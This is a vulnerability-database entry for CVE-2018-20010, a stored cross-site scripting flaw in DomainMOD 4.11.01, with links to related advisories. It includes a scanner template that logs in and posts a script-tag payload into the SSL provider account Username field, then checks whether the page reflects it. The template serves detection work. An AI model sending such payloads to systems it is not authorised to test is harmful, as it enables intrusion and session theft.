DomainMOD 4.11.01 is susceptible to Cross-Site Scripting via the /assets/add/ssl-provider-account.php Username field, potentially leading to session hijacking, defacement, or theft of sensitive informatio
Reporter | Title | Published | Views | Family All 10 |
---|---|---|---|---|
![]() | DomainMOD 4.11.01 ssl-accounts.php Cross Site Scripting | 26 Feb 201900:00 | – | packetstorm |
![]() | DomainMOD 4.11.01 - ssl-accounts.php username Cross-Site Scripting | 14 Feb 201900:00 | – | exploitpack |
![]() | CVE-2018-20010 | 10 Dec 201809:29 | – | osv |
![]() | CVE-2018-20010 | 10 Dec 201809:29 | – | cve |
![]() | CVE-2018-20010 | 10 Dec 201809:00 | – | cvelist |
![]() | DomainMOD 4.11.01 - 'ssl-accounts.php username' Cross-Site Scripting | 14 Feb 201900:00 | – | exploitdb |
![]() | CVE-2018-20010 | 10 Dec 201809:29 | – | nvd |
![]() | Default credentials | 10 Dec 201809:29 | – | prion |
![]() | DomainMOD 4.11.01 - ssl-accounts.php username Cross-Site Scripting Vulnerability | 15 Feb 201900:00 | – | zdt |
![]() | DomainMOD < 4.12.0 Multiple Vulnerabilities | 22 Jan 201900:00 | – | openvas |
id: CVE-2018-20010
info:
name: DomainMOD 4.11.01 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the /assets/add/ssl-provider-account.php Username field.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/46373/
- https://github.com/domainmod/domainmod/issues/88
- https://nvd.nist.gov/vuln/detail/CVE-2018-20010
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2018-20010
cwe-id: CWE-79
epss-score: 0.00126
epss-percentile: 0.47199
cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: domainmod
product: domainmod
tags: cve,cve2018,domainmod,xss,authenticated,edb
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_username={{username}}&new_password={{password}}
- |
POST /assets/add/ssl-provider-account.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_ssl_provider_id=1&new_owner_id=1&new_email_address=&new_username=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_password=&new_reseller=0&new_reseller_id=&new_notes=
- |
GET /assets/ssl-accounts.php HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(header_3, "text/html")'
- 'contains(body_3, "><script>alert(document.domain)</script></a>")'
condition: and
# digest: 4a0a00473045022100b2c5c69aedcc03e3b3a6b4effdae3e8c2828cd9b2fc50d7b523af12a8cfc33ab02205cd37cb2b326d500370811d5ac4ee6d59053168bf40b02cabccbf4749d29490a:922c64590222798bb761d5b6d8e72950
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo